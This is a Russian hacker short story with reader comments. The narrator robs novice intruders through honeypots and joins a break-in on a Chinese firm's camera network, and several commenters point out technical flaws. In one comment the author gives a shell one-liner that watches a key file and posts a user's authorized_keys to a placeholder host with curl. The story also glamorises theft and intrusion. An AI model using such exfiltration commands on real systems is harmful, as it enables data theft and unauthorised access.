Сегодня бывает модно говорить о криптолокерах, о bug-bounty программах, об открытых конференциях для всех и о том, что очередной школьник купил самый дешёвый 0day и поставил себе в школе все пятёрки. Однако, это — не модная статья. Она не о том, что «самый ненадёжный фактор системы — это xyz». И не о том, что круто использовать сейчас, а что — будет круто использовать завтра. Это не список стандартных правил iptables на непроникновение в среде уверенных пользователей ПК.
Это моя история, и я, генератор случайных чисел, хочу Вам её рассказать.
Повествование изобилует терминами, некие из коих могут быть незнакомы Вам, так что там, где это уместно, я поместил всплывающие подсказки.
Часть 1. Мыш
«Добро пожаловать» — это, в основном, именно то, что видели всякие юные дарования от цифрового мира, когда пытались подобрать пароль брутфорсом 22 порта на моём сервере. Как минимум несколько часов в неделю каждый из группы серверов, арендованных мною по всему миру, работал почти без сетевой защиты. Я написал задание в cron — случайное количество часов в неделю держать открытыми популярные порты, добавлять на эти часы левые учётные записи в систему и давать им определённые полномочия. Восемь машин попеременно открывали двери в себя для всех желающих. Это была моя удочка на начинающих хакеров — я собирал информацию об их сетях и оборудовании, обо времени их доступности и сна, об их предпочтениях в софте. Каждую ночь я читал и фильтровал логи — отсеивал ботов, всякие Shodan-подобные сервисы и откровенно сильных ребят, которые могли представлять угрозу. Так, к концу недели у меня стабильно образовывался список из двух-пяти начинающих взломщиков, которых я ломал сам, забирая по возможности всё, что находил — от номеров кредиток и биткоин-кошельков до кукисов на малоизвестных почтовых серверах. Я не считаю, что был несправедлив, подстраивая подобные ловушки — ведь процесс всегда инициировали именно жертвы. Тем более, взломанный хакер очень вряд ли обратится за помощью в правоохранительные органы, так что я не боялся расправы и мог себе позволить спокойно работать. Бывали, конечно, и неудачи, но в основном денег, заработанных таким путём хватало на жизнеобеспечение уровня чуть ниже среднего класса.
Однажды на выходных, в очередной раз вычисляя, кого из повадившихся на моё добро взломать будет легче и безопасней, на одном из своих серверов я увидел свежий файл в /etc/ssl, именованный приватным RSA-ключом. Меня смутил размер файла — ровно 20 байт, что никак не может быть рабочим RSA-ключом (разве что 128-битный с 0x00 по бокам). Редактор показал мне, что, скорей всего, это — какой-то хеш. Хеширующих функций, дающих такие маленькие объёмы на выходе, немного, так что я загуглил для уверенности и точно понял, что предо мною — SHA1-хеш. Без новомодных перца и сдвигов, только какой-то приболевший: в файле отсутствовал ведущий 0x00, с коего обычно начинаются валидные SHA1-хеши. Получалась какая-то нелепица — один из моих виртуальных гостей сознательно взял хеш с каких-то данных и оставил его на моём сервере, назвав файл, как приватный RSA-ключ. Пару дней я не мог додуматься, зачем кому-то нужно было делать нечто в таком роде. Спустя примерно неделю я вовсе выбросил сию мысль из головы, ибо разумных ответов на вопрос так и не нашлось. Я решил, что это просто были чьи-то эксперименты с терминалом во время посещения сервера.
Однако, зайдя ещё через несколько дней в Джаббер, я вдруг прям застыл на компьютерном стуле. Перед глазами прокрутились воспоминания о том сранном файле — ведь алгоритм OTR, который во все времена оставался самым надёжным и безопасным решением для опасных переписок, берёт SHA1-хеш с никнейма пользователя и предоставляет его как часть отпечатка личности при обмене ключами. Оставалось лишь проверить догадку, так что я взглянул на отпечаток своего ника — сей тоже не начинался с 0x00, как положено порядочным SHA1-хешам, а значит я всё это время имел дело с оставленным мне в таком странном виде контактом Джаббера! Недолго думая, я добавил его в список доверенных контактов, чтобы можно было шифровать весь поток данных между нами.
Ночью того дня я увидел в сети некий новый контакт. Получив его отпечаток и сравнив с тем, что был найден на сервере, я понял, что, видимо, не сошёл с ума и это действительно настоящий OTR-fingerprint живого человека. Мы обменялись публичными ключами. Так начался мой исход.
Часть 2. Капитализм
Не стоит думать, будто я нуждался в помощи, либо жаждал проникнуться сутью родства душ, например. Отнюдь, я — законченный параноик и в реальной жизни все, кто знают меня, уверены, что запуск косынки — единственная доступная мне компьютерная магия. Однако, какой бы абстрактно толстой ни была моя шапочка из фольги, та доля интереса, которую породил сей человек, неописуема никакими красками. Сумбурная смесь из любопытства и страха, удивления и радости, с толикой гордости за профессию. Естественно, я сразу написал ему. Некто по ту сторону монитора предложил поверх OTR набрасывать ещё и PGP-слой, на всякий случай. Я знал, что в моей (и, предположительно, его тоже) области труда паранойя — скорей профдеформация, чем заболевание, так что против не был. В ту ночь я узнал, что моего виртуального гостя зовут Мыш, он обижается на мягкий знак в конце сего слова и намерен предложить мне работу. Ник его Джаббера в виде фингерпринта у меня на сервере, как оказалось, был частью собеседования. Я осторожно поинтересовался, почему я вообще должен захотеть соглашаться с ним сотрудничать, и получил ответ, коий менее всего ожидал. Оказалось, что всё это время за файлом хеша на сервере постоянно наблюдал демон на обычном sh-скрипте из трёх строк с засыпаниями на случайное количество секунд и маскировкой под rsync worker'а. Его единственная задача заключалась в отслеживании SSH-ключа любого, кто попытается прочесть или модифицировать хеш. Мыш знал, что я не стану использовать пароль для аутентификации на своих серверах, но отдельный файл-ключ — стану. Он знал, что проверяет сей ключ локальный демон, синхронизируя данные о доступе помеж всеми моими машинами. Таким образом, все восемь моих серверов оказались разом скомпрометированы не искусственно, как были постоянно ранее, а вполне себе натурально. Более сильный хакер поймал меня на удочку, точно как я ловил на удочки более слабых. Я ждал, что он станет шантажировать меня сливами информации или шифрованием данных. Но он не стал.
Вместо шантажа и краж, он предложил мне нечто совершенно иное. Мыш сообщил, что где-то в Китае есть некая безымянная фирма, активно занимающаяся какими-то мутными и непонятными разработками. На вопрос, что имеется в виду под «мутными» и «непонятными», он скинул мне данные о нескольких маленьких VPN-сетях сей фирмы, объединённых в одну побольше, из которой в конечном итоге две машины смотрели в интернет. Я не удивился — это вообще адекватная практика для коммерческих организаций — не пускать смертных в сеть, если стоит вопрос вероятных денежных потерь. Но странно, по словам Мыша, было вовсе не это. У нас на руках была примерная топология сети, данные о моделях роутеров и сетевых карт, данные на персонал фирмы и на, собственно закупки фирмы. Обычный дамп информации о мелкой конторе, коий в те годы стоил дешевле старой Волги. Однако, была некая деталь в сем дампе на редкость, как бы, невпопад. А именно, фирма закупила несколько сотен (!) видеокамер наружного наблюдения не самого плохого качества, официально занимая при этом площадь примерно пятиподъездной хрущёвки + двор. Я сразу решил, что имел место быть обычный распил денег — в Китае такие же люди с такими же последствиями, но прикупленные к камерам пятнадцать высококачественных DVR, которые занимали свои места в общей топологии сети и прекрасно общались с теми двумя машинами, что смотрели в интернет — сильный аргумент. Пятнадцать таких устройств стоят примерно как все те триста камер — подумал тогда я и понял, что нет никакого смысла эксплуатировать пятнадцать устройств видеозахвата без, собственно, видеозахвата. В общем, Мыш заинтриговал меня, ибо я не представляю себе нужд, на коие могли бы пойти триста видеокамер внешнего наблюдения в относительно небольшом здании, документально занимавшемся производством и продажей велотренажёров и прочей домашней спорттехники. Тогда я спросил, причём, в общем-то, здесь я и почему именно я.
Знаете, чаще всего, если ты взломщик, то у тебя, на самом деле, очень скучная работа. Каждый новый сервер ты обследуешь по давно изученным тропинкам на популярные уязвимости. Общаешься под разными личинами с персоналом фирмы-жертвы или лично с жертвой, если это один человек. Иногда можно шесть месяцев вести беседу с женщиной на сайте знакомств, созидая фундамент для блицкрига — залития PDF с эксплойтом или картинки-лоадера на машину, о которой ты к тому моменту уже всё знаешь, но вдруг передумать из-за мучений совести. Иногда приходится устраивать целые спектакли, прикидываясь фантомами, чтобы выманить из дома параноика с набитым биткоином кошельком — один фантом приглашает на свидание, а другой (всё ещё Вы) — упрашивает остаться в онлайне, «чтобы я увидела, как ты вернулся — так пройдёт моя депрессия из-за бывшего бла бла бла». Но чаще всего это линейный анализ доступных данных и использование досупных инструментов. Взлом хакеров вместо обычных людей несколько разнообразил сей процесс, но уже нет какой-то «той самой искры», которая горела где-то внутри от одного лишь man nmap. Мыш предложил атаковать их сеть параллельно из Китая и из-за границы. Он приобрёл неплохой ботнет из китайских машин и решил, помимо этого, нанять несколько местных нищих, чтобы те на время атаки массово всячески отвлекали персонал прогулками где не надо, ссорами, криками и пьянством. Меня насторожил подобный чрезмерный энтузиазм и я заподозрил, что Мыш чего-то не договорил мне о сей фирме. Но моё дело правое — мы договорились о ставке в 10 биткоинов, если я вовремя поймаю момент включения сети после DDoS'a ботнетом и успею в неё проникнуть до активации маршрутизации. Другими словами, я должен был сделать запрос аутентификации от имени компьютера одного из их сотрудников после того мгновения, в которое ethernet подаст сигнал в первый роутер на своём пути, но до того момента, как его ПО поймёт, кого и куда можно пускать, а кого и куда — нет.
Часть 3. Шахматы
Я уже как-то делал нечто подобное, однако со своим собственным сервером и только в целях обучиться новой атаке на будущее. Похоже, такое будущее настало. У нас в запасе было неограниченное количество времени, ибо ботнет Мыш выкупил до полного обнаружения (ботнеты, в основном, продают не по временным интервалам, а до обнаружения определённого количества его участников — так, например, Вы можете купить ботнет «до 15%» и смело жертвовать 15% его машин для своих целей без дополнительных оплат). Мы плотно занялись совместным написанием софта для проведения атаки. Я запросил оплату труда за кодинг, ибо задача, мягко говоря, не из самых лёгких и так удостоверился в платежеспособности своео партнёра — он сразу заплатил, без клянча и скидок, так что я спокойно запасся зарядами Гугла и принялся за работу. После обоюдного обсуждения мы с ним пришли к выводу, что необходимо до DDoS'a каким-то образом внедрить что-то совершенно непалевное, но при этом имеющее доступ и ко внутренней сети, и к интернету. Ведь из одного интернета атаковать две машины до включения маршрутизации невозможно в принципе — они же попросту не увидят даже свои DNS, не говоря уже о далёких хостах каких-то там нас, например. Анализируя топологию и схему сети, я заметил, что в здании скорее всего есть компьютер, который управляет большею частью DVR-регистраторов — а это значит, что, скорее всего, там вообще может оказаться какая-то OpenBSD (всегда мечтал взломать OpenBSD на китайском языке). Так что я решил атаковать остальные регистраторы (коих в разных частях здания было четыре из пятнадцати).
План заключался в том, чтобы вывести из строя целевой из четырёх (он просто ближе иных к окну должен был находиться) с помощью нанятого нищего, затем залить на компьютер сотрудника, отвечающего за регистраторы, подмену в hosts сайта их фирмы-производителя и, voi la, спокойно позволить ему скачать какой-то «анализатор неисправностей» и установить его на целевое устройство. Оставалось решить одну проблему — китайский язык. Мыш настаивал на найме переводчицы, мне же было глубоко побоку, как он потратит свои деньги, так что я не умничал. Мы нашли на просторах интернета милую девушку, которая произносила странные звуки достаточно бойко для того, чтобы убедить нас в своей профпригодности. Получив от меня разметку на русском, поинтересовалась, мол, это мы разрабатываем регистраторы? Я отмазался, сообщив, что являюсь лишь посредником между посредниками. Каково же было моё удивление, когда она написала через несколько часов прямую ссылку на оригинальный сайт фирмы-производителя регистраторов и натурально спросила: «Какую часть меняем? Диалект сохранить? Подлизываться ли в тексте?». Тогда мне показалось, что мне знакома её речь и стиль письма, но я, увы, не смог вспомнить, откуда. Домашний ПК работника фирмы-жертвы был уже под нашим контролем и кроме языкового баръера ничто не мешало нам его администрировать. Благо, системые файлы Windows называются вседа одинаково, так что подмена была выполнена успешно. На всякий случай я ещё оставил несколько задач в планировщике, которые бы в случае чего слали мыло от самого себя (но с подменой видимого адреса) этому работнику якобы от начальства с просьбой поспешить с DVR-регистратором.
План сработал отлично. Мыш заплатил $100 какому-то относительно местному бомжу за то, что оный подключил двадцатиметровый кабель розетки к продуктовому киоску, а затем рано утром, в момент пересменки охраны фирмы, подошёл вплотную к стене, за которой, по нашим расчётам, должен был находиться регистратор, с микроволновой печью без крышки, поставил её на землю, несколько наклонив вверх, включил на полную мощность и преспокойно ушёл.
В этот же вечер ничего не подозревающий сотрудник фирмы скачал наш драйвер с подменённого сайта. Мы не стали сроить велосипеды, а просто скачали оригинальный драйвер, дизассемблировали его и дописали прямое открытие сокета для всех желающих в виде части оригинального драйвера. Я не шибко мастер в языках ассемблеров, но этот был уж какой-то совсем порезанный. Благо, там уже были участки кода со схожей функциональностью, так что хоть не пришлось наугад ждать всех возможных прерываний и сигналить во все возможные порты. Выждав пару дней, Мыш принял решение начинать DDoS, так что я подготовился к атаке. Но вот к тому, что я увидел после неё, я не готовился никогда. Ботнет начал атаковать досаточно синхронно, прошло 13 минут с момента первого пакета до момента 100% вовлечённости. Сервера фирмы отлично фильтровали трафик, много упало ещё на уровне чего-то типа роутера провайдера, судя по логам трассировки. В какой-то момент один роутер ненадолго ушёл в очистку кеша и сессий, в сей момент регистратор открыл свои прелести нашему взору и мы вошли в сеть. Перво-наперво я начал активный ARP-спуф всей сети вокруг — во время DDoS извне подобную атаку часто можно принять за сбой работы одной из сетевых карт. Нормальным решением в такой ситуаци будет реавторизация участников сбоившей сети на роутерах, чего я и добивался, чтобы регистратор прикинулся компьютером одного из работников, чьи данные для входа у нас были. Мыш занялся маскировкой соединения, заставив регистратор до сброса сессий прикинуться роутером с
Часть 4. Vendetta
Знаете, наверное, нельзя сказать, что ты входишь в помещение и чувствуешь его запах, если ты здесь лишь в роли духа ssh. Но ежели путь твой возлёг через DVR-регистратор, то, так уж вышло, разделишь ты путь свой с видеопотоками. Меня всё ещё мучал основной неразгаданный вопрос этой фирмы: зачем кому-то понадобилось оформлять тремя сотнями видеокамер наружного наблюдения и пятнадцатью видеорегистраторами дом размером с полторы захудалых школы. Недолгие манипуляции с vlc и я уже стримил их видеопотоки с одного регистратора на свой VDS, с которого проводил атаку. Ещё немного манипуляций и я разделил доступ к потокам между фирмой, собой и Мышем, который начал качать старые архивы и запустил пару скриптов для проверки жёстких на наличие биткоин-кошельков. Я не видел видео (не конвертировать же в ASCII, SSH всё таки), но сам стрим я настроил так, чтобы никто не смог понять, кто и где я, даже прямиком трассируя весь его путь. Маленькое правило в dbus и один большой видеофайл перекинется мне по связке (VDS > Tor > VDS > Tor > я), как только китайцы обрежут интернет, заметив утечку данных. В общем-то, они не заставили себя ждать, я успел выдавить по 4 минуты с каждого регистратора фирмы, со всех камер, и 6 с того, через который проводил атаку. Первое, что меня удивило — это тот факт, что все триста камер, о которых было заявлено в данных о закупках, имели место где-то быть, ибо их стримы были на месте. Второе меня уже не удивило, а скорей дало ответы на вопросы: я же видел, какие именно архивы качает Мыш. Он явно был сосредоточен на определённом участке времени. Он прекратил отвечать в Джаббере. Вышел из Джаббера и завершил SSH-сессию на VDS. Правда по, внезапно, таймауту ключа. Дело в том, что я настроил SSH таким образом, что каждые N секунд сервер опрашивает тебя по поводу ключа и соли. Соль с каждым правильным ответом даётся на следующий раз новая. Так что таймаут ключа мог значить лишь одно: Мыш удалил к чёрту файл с ключём или убил демона SSH. Я ждал и ждал его в сети. Мне было плевать на биткоины, я всеръёз забеспокоился о том, что его могли найти копы, или, что хуже, местные китайцы. Паранойя имеет свойство расти экспоненциально в подобных ситуациях.
Я всегда снимал новую квартиру для сложных атак. Эта атака не была исключением. Великолепно покрашенная в тёмных тонах дверь аккуратно отворилась. Из подъезда сразу потянуло прохладой. Моё сердце как будто коллапсировало в волну и обратно. В помещение расслаблено прошла… девушка-переводчица, которая сделала нам дефейс. Кажется, я был готов что есть сил рвануть прямо на неё — расстояние было таково, что она бы не успела увернуться или защититься, однако вслед за ней появился некий взъерошенный сребровласый индивид и неспеша, молча показал мне пистолет в правой руке. Невероятно худой и очень уставший индивид в сильно потрепанном чёрном костюме ласково приобнял девушку-переводчицу, не спуская с меня курок, поцеловал её в затылок, после чего сказал мне: «Видеофайл называется 'Мыш', архив четырёхлетней давности, на твоём VDS в папке, куда тот скачал архивы. Включай и смотри». Я осторожно повернулся снова к монитору, открыл терминал и увидел свежий новый файл
И тогда я запустил
$ sh --noprofile ./EXEC_ME
LANG=ru_RU.utf8 && echo "
дама раб на китай. муж коп и они вместе
фирма это частная тюрьма
мой отец в ней сейчас
я хотел доступ к камерам
чтоб показать всему миру
но я удалил оба наши ссшключа к вдс
чтоб ты не сел за моего отца
биток скинул прости что втянул
clear
Я успел дочитать до части об удалении SSH-ключей, когда мужчина сзади начал бить руками по столу и монитору, неистова крича. Он схватил меня за шиворот и всё твердел: «Ты найдёшь мне его!», «Обязательно найдёшь!». Он тряс меня и, вроде, бил. Всё брюзжал слюною и серебристой шевелюрой, пока я плавно отходил ко сну — целый, невредимый и абсолютно законопослушный гражданин Марса, генератор случайных чисел.
Комментарии (58)
mayorovp
20.05.2016 16:55+2Абракадабра какая-то.
Приватный SSH-ключ нельзя украсть на "той" стороне.
SSH-ключи не солят.themtrx
20.05.2016 17:33+3Возможно, /dev/random выразился несколько неочевидно. Вот, что мне удалось узнать:
$ dd if=/dev/random count=325 bs=1 Один из восьми серверов использовался для хранения приватных ключей для остальных семи на случай компрометации туннельных VDS и/или домашнего ПК. Речь шла именно об этом сервере. 325+0 records in 325+0 records out 325 bytes copied, 3.07063 s, 0.1 kB/s
g0dlike
20.05.2016 17:35Ну, если он использовал ForwardAgent yes, то получив доступ к одному серверу, можно получить доступ ко всем остальны.
themtrx
20.05.2016 17:39А по поводу соли могу сказать то, что знаю сам: публичный ключ ничто не сможет помешать посолить, прежде чем пересылать его, ежели на стороне приёма реализовано разделение в оригинал и шум из известной соли. Так только безопасней.
PS Не успел отредактировать предыдущий комментарий, отчего о соли — отдельным.
ValdikSS
21.05.2016 02:06+3Приватный SSH-ключ нельзя украсть на «той» стороне.
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-0777
Cheater
20.05.2016 16:58Не очень понятно — как в первой части автор узнал имя Jabber-аккаунта (для добавления в доверенные), имея только SHA1 хеш?
themtrx
20.05.2016 17:46Ответ есть в самом повествовании, но на всякий случай я решил уточнить:
$ dd if=/dev/random count=509 bs=1 Мыш постучался в мой Джаббер сам, я лишь сравнил найденный хеш с fingerprint'ом нового контакта. Так я понял, что добавлялся именно тот человек, который и оставил хеш, а не какой-то аноним с просторов даркнета, так что мы смогли в итоге сгенерировать handshake, точно зная, кто из нас есть кто. 509+0 records in 509+0 records out 509 bytes copied, 4.10032 s, 0.1 kB/s
Cheater
20.05.2016 17:55Добавление контакта в доверенные произошло _до_ этого события.
themtrx
20.05.2016 18:26Возможно, Вы с /dev/random говорите о разных «доверенных». Как я понимаю, дела обстоят примерно так:
1. Есть контакты в Джаббере (ростер). Туда может попроситься кто угодно.
2. Есть список доверенных контактов OTR-плагина, идентифицируемых по отпечатку никнейма. Эти списки контактов — две большие разницы.
3. /dev/random, видимо, получив запрос на добавление в ростер, взял отпечаток никнейма незнакомца и сравнил оный с найденным на своём сервере.
4. Так как отпечатки совпали, /dev/random, видимо, понял, что в контакты просится именно тот, кто оставил файл на его сервере и, пожелав наладить шифрованный канал, добавил сей отпечаток в список доверенных контактов OTR-плагина.
5. OTR-плагин, в свою очередь, увидев, что вручную добавленный /dev/random отпечаток и отпечаток нового контакта идентичны, позволил сгенерировать handshake между /dev/random и Мышем.
Это стандартная схема работы OTR-авторизации новых контактов.Cheater
20.05.2016 18:41Да, я не знал, что в доверенные можно добавлять отпечаток напрямую, а не по имени логина.
Cheater
20.05.2016 17:07+3> постоянно наблюдал демон на обычном sh-скрипте из трёх строк с засыпаниями на случайное количество секунд и маскировкой под rsync worker'а. Его единственная задача заключалась в отслеживании SSH-ключа любого, кто попытается прочесть или модифицировать хеш.
Что за бред, прости господи. Как это технически возможно? Он вызовы cat и cp тоже будет перехватывать? Чей SSH ключ?g0dlike
20.05.2016 17:37+2Ну почему бред.
1) Логгируем текущие ssh-сессии
2) Auditd-ивенты
3) Сопоставляем
4)…
5) Profit!Cheater
20.05.2016 18:03+2Это мне напоминает анекдот про «поставить генту одной командой». Три строки шелл-скрипта должны были быть ОЧЕНЬ длинными))
themtrx
20.05.2016 19:20+2Я, конечно, не могу знать, каким путём шли мысли у генератора случайных чисел, но, полагаю, примерно таким:
tu=$( inotifywait -e attrib -mq --format '%w' /etc/ssl/id_rsa | lsof -c ssh /etc/ssl/id_rsa | cut -d" " -f4 | head -n 1 ) cat $( getent passwd "$tu" | cut -d: -f6 )/.ssh/authorized_keys | curl -X POST --data-binary @- http://[ip]/
Cheater
20.05.2016 19:34Вау, спасибо, про inotify не слышал раньше.
Хотя судя по беглому просмотру man-страницы inotifywait, здесь нужно не attrib, а access.themtrx
20.05.2016 19:42+1Увы, но access не всегда сработает в случае перемещения и переименования файла, а attrib сработает всегда, потому что любая ФС обязана вызывать fstat() при каждой операции с файлом для блокировки возможности смены/удаления его inode другим процессом во время обработки операции.
Wesha
21.05.2016 10:52> .ssh/authorized_keys
Как говорится, «Допустим, ты пробил головой стену. И что ты собирался делать в соседней камере?»
В .ssh/authorized_keys находятся *публичные* ключи. А Вам нужен приватный ключ «шляпы» — который находится на его личном компе, а не на арендованных серверах!themtrx
21.05.2016 11:05Если, предположим, есть Вы, Ваш сервер и я; Ваш сервер хранит Ваш публичный ключ и я его угоняю из authorized_keys, то, зная Ваш логин, я получаю возможность прикинуться Вами и авторизоваться на сервере. Это не так?
Meklon
21.05.2016 11:10Нет, не так. Публичный ключ можно торжественно опубликовать на весь мир и ничего.
themtrx
21.05.2016 12:45-1Так то оно так, но, пожалуйста, проясните мне кое что в таком случае: ежели приватный ключ у меня на домашнем ПК, а публичный в authorized_keys, как сервер знает, кто к нему стучится? Насколько мне известно, ssh-агент как раз сверяет полученные публичные ключи с теми, что в authorized_keys.
kmeaw
21.05.2016 14:35Предположим, что сервер уже знает логин клиента, и они договорились об аутентификации через метод «publickey», а сервер передал клиенту некое случайное число. Тогда сервер находит все публичные ключи, владельцу которых авторизован доступ и предлагает их клиенту. Клиент выбирает любой из них и подписывает соответствующим ему приватным ключём случайное число, сгенерированное сервером. Таким образом, клиент доказывает, что он владеет приватным ключём, не раскрывая его.
kmeaw
21.05.2016 14:40+1А ssh-agent решает другую задачу — он хранит в памяти расшифрованные приватные ключи, предоставляя клиенту интерфейс (через сокет) для загрузки новых ключей, получения их списка и подписи данных. Атаку из рассказа действительно можно выполнить через ssh-agent, если пользователь настроил свой ssh-клиент так, чтобы он пробрасывал этот сокет на удалённый сервер — так делают, чтобы не копировать свой приватный ключ, когда требуется заходить на более удалённый сервер через другой, по цепочке. Пока жива ssh-сессия, злоумышленник может воспользоваться этим интерфейсом и установить ещё одно соединение. От этого можно защититься, требуя интерактивного подтверждения каждый раз, когда используется интерфейс агента.
themtrx
21.05.2016 18:16Атаку из рассказа действительно можно выполнить через ssh-agent, если пользователь настроил свой ssh-клиент так, чтобы он пробрасывал этот сокет на удалённый сервер — так делают, чтобы не копировать свой приватный ключ, когда требуется заходить на более удалённый сервер через другой, по цепочке. Пока жива ssh-сессия, злоумышленник может воспользоваться этим интерфейсом и установить ещё одно соединение.
Для литературной полноты картины, давайте предположим, что так оно и было.
Но, естественно, спасибо, обновил свои знания.
Greendq
21.05.2016 16:32Агент сверяет отпечатки ключа. Содержимое authorized_keys можно распечатать на большом транспаранте и повесить в публичном месте. С указанием адреса сервера. Ничего не будет :)
mm7
20.05.2016 18:24+2Если уже год был доступ к компу сотрудника, и еще и внедрили свой драйвер, то нафига нужна ДДОС атака?
Сливай файло потихоньку…
Но читается хорошо. Как Джорж Браун. Зачет. :)themtrx
20.05.2016 19:21Полагаю, доступ к домашнему ПК сотрудника и доступ к невидимой из интернета локалке — это две большие разницы.
По-хорошему нельзя писать в /dev/random, но, я уверен, генератор был бы благодарен Вам за тёплый отзыв.
zuborg
20.05.2016 19:27+2Не особо научная фантастика, неточностей слишком уж много, чтобы воспринимать без иронии
Costic
20.05.2016 19:39«Мы не стали сроить велосипеды, а просто скачали оригинальный драйвер, дизассемблировали его и дописали прямое открытие сокета для всех желающих в виде части оригинального драйвера. „
Тут работы по реверсу и переписыванию драйвера на год.
А что с цифровой подписью?
За ваше литературное произведение ставлю 5. За технику 4-.themtrx
20.05.2016 19:47+2В устройствах, которые используют сетевые чипы сторонних производителей очень легко искать сразу по обработке IRQ. Обычно таблица прерываний инициализируется в самом начале работы драйвера управляющего устройства. Идентификаторы сетевых чипов их производители не скрывают. Сопоставить номер чипа и номер прерывания для него в таблице, а затем найти первую обработку этого прерывания в коде — дело нескольких минут. Дальше — дело техники.
zhigalin
20.05.2016 22:36+2А почему господин ГСЧ был вот так просто отпущен тем копом?
И как ему могла казаться знакомой та переводчица?themtrx
21.05.2016 09:43Полагаю, куски стримов и скачанные архивы остались сохранёнными на VDS. Мыш же очистил ~/.ssh/authorized_keys на этом сервере, чтобы спасти автора — оному оставалось лишь обождать N секунд и переавторизацию его домашний ПК на сервере уже бы не прошёл, потому что:
Дело в том, что я настроил SSH таким образом, что каждые N секунд сервер опрашивает тебя по поводу ключа и соли. Соль с каждым правильным ответом даётся на следующий раз новая.
Следовательно, никаких улик, прямо доказывающих причастность автора к атаке и хищении корпоративных данных не осталось. Точней, они остались — где-то там, за туннельными Tor > VDS > Tor > VDS на рабочем VDS, к которому больше ни у кого не было доступа.
О переводчице же сказать не могу — покуда мне знать, как могла она показаться знакомой моему /dev/random…
Wesha
21.05.2016 01:48+2> Оказалось, что всё это время за файлом хеша на сервере постоянно наблюдал демон на обычном sh-скрипте из трёх строк [...] Его единственная задача заключалась в отслеживании SSH-ключа любого, кто попытается прочесть или модифицировать хеш
Именно в этот момент я понял, что нас reboot — ибо отследить, какой юзер «пытается прочесть определённый файл» ещё можно, но вот как это поможет добыть его *приватный* ключ — это вопрос на стотыщмиллионов.themtrx
21.05.2016 09:45Достаточно точно уже ответил выше: https://geektimes.ru/post/276112/#comment_9283972
deseven
21.05.2016 02:50+1я вовремя поймаю момент включения сети после DDoS'a ботнетом и успею в неё проникнуть до активации маршрутизации
Каким образом можно извне проникнуть в сеть, в которой не работает маршрутизация?
я должен был сделать запрос аутентификации от имени компьютера одного из их сотрудников после того мгновения, в которое ethernet подаст сигнал в первый роутер на своём пути, но до того момента, как его ПО поймёт, кого и куда можно пускать, а кого и куда — нет.
Что за аутентификация? О каком ПО речь?
В какой-то момент один роутер ненадолго ушёл в очистку кеша и сессий, в сей момент регистратор открыл свои прелести нашему взору и мы вошли в сеть.
С чего бы вдруг какому-то роутеру при DDoS сбрасывать внутренние сессии? И что это за архитектура сети такая и что за железо, которое отрубает внутреннюю логику и внезапно начинает пропускать весь траф в обе стороны?
Я это к чему — сам я не сетевик, но работаю в провайдерской сфере и эти места мне кажутся очень слабыми.themtrx
21.05.2016 10:00Каким образом можно извне проникнуть в сеть, в которой не работает маршрутизация?
После обоюдного обсуждения мы с ним пришли к выводу, что необходимо до DDoS'a каким-то образом внедрить что-то совершенно непалевное, но при этом имеющее доступ и ко внутренней сети, и к интернету. Ведь из одного интернета атаковать две машины до включения маршрутизации невозможно в принципе — они же попросту не увидят даже свои DNS, не говоря уже о далёких хостах каких-то там нас, например.
Что за аутентификация? О каком ПО речь?
https://tools.ietf.org/html/rfc5925. ПО роутера, конечно же.
С чего бы вдруг какому-то роутеру при DDoS сбрасывать внутренние сессии?
Типичный роутер устанавливает сессию с каждым клиентом, чтобы у оных появилась возможность авторизоваться и идентифицировать себя. Когда роутер видит, что сессий слишком много, то может, в зависимости от настроек, или прекратить обслуживание новых подключений, начав отдавать HTTP 500, или удалять самые старые сессии, чтобы освободить место для новых. За редким исключением почти всегда имеет место быть второй вариант поведения.
И что это за архитектура сети такая и что за железо, которое отрубает внутреннюю логику и внезапно начинает пропускать весь траф в обе стороны?
Логику ничто не отрубало и трафик не пропускало. Имел место быть заражённый DVR-регистратор, который смотрел в интернет через роутер. Во время DDoS'а его сессия на роутере была удалена, как и некие другие, что позволило этому регистратору авторизоваться в роутере в роли компьютера одного из сотрудников (логин и пароль коего атакующие добыли заранее), получив доступ ко всей внутренней сети.
ilya_1
21.05.2016 09:46-1"… у меня стабильно образовывался список из двух-пяти начинающих взломщиков, которых я ломал сам, забирая по возможности всё, что находил — от номеров кредиток и биткоин-кошельков..."
Дальше читать не стал, парня видимо какой-то вирус обидел и он мечтает стать плохим дядейthemtrx
21.05.2016 10:08Совсем наоборот, я лично очень уважаю труд вирусописателей и прочих из мира в тени. Во-первых, написание вирусов (раз уж Вы о вирусах) — это апогей программирования. Это невидимая игра с пользователем, антивирусами и ОС — и эта игра на деньги. Только интереса куда больше, чем, например, в написании одинаковых интернет-магазинов за $500 на фрилансе.
Что по поводу плохих дядь — я лично дядя скорей хороший, чем плохой, как Вы выразились, и вовсе не желаю становиться плохим. Да, меня очень увлекает мир blackhat, но я смотрю на взлом и защиту от него как на картины Ван Гога, например, а не вовсе с точки зрения злости или зависти.
booroff
21.05.2016 09:46+2Очень хорошая статья для криптонубов от криптоманьяков о возможностях современных средств атаки и защиты
vladbarcelo
21.05.2016 18:17+3Как-то очень в духе фильмов про хакеров. Начинал читать — ожидал увидеть неспешную кропотливую работу с потреблением галлонов кофе ГГ и периодическими переписками по жабе — как осмотрели сетевой периметр, облетели каким-нибудь новомодным дроном (как в видео от offsec) территорию, пошарились в вафлях. Можно было такую-то драму написать включая ту же социальную инженерию, тем более что в начале было нечто подобное. А вместо этого — как будто ураганом прошлись по сценарию. И ещё конец — когда к ГГ врываются в квартиру и начинают тыкать пистолетом (а ещё этот картинный поцелуй в затылок, личное моё фи выражу) — прямо голливудским блокбастером запахло. Но за технические детали плюс, хоть и до комментариев не всё понятно было.
Technovave
захватывает, и читается на одном дыхании!
themtrx
Благодарю.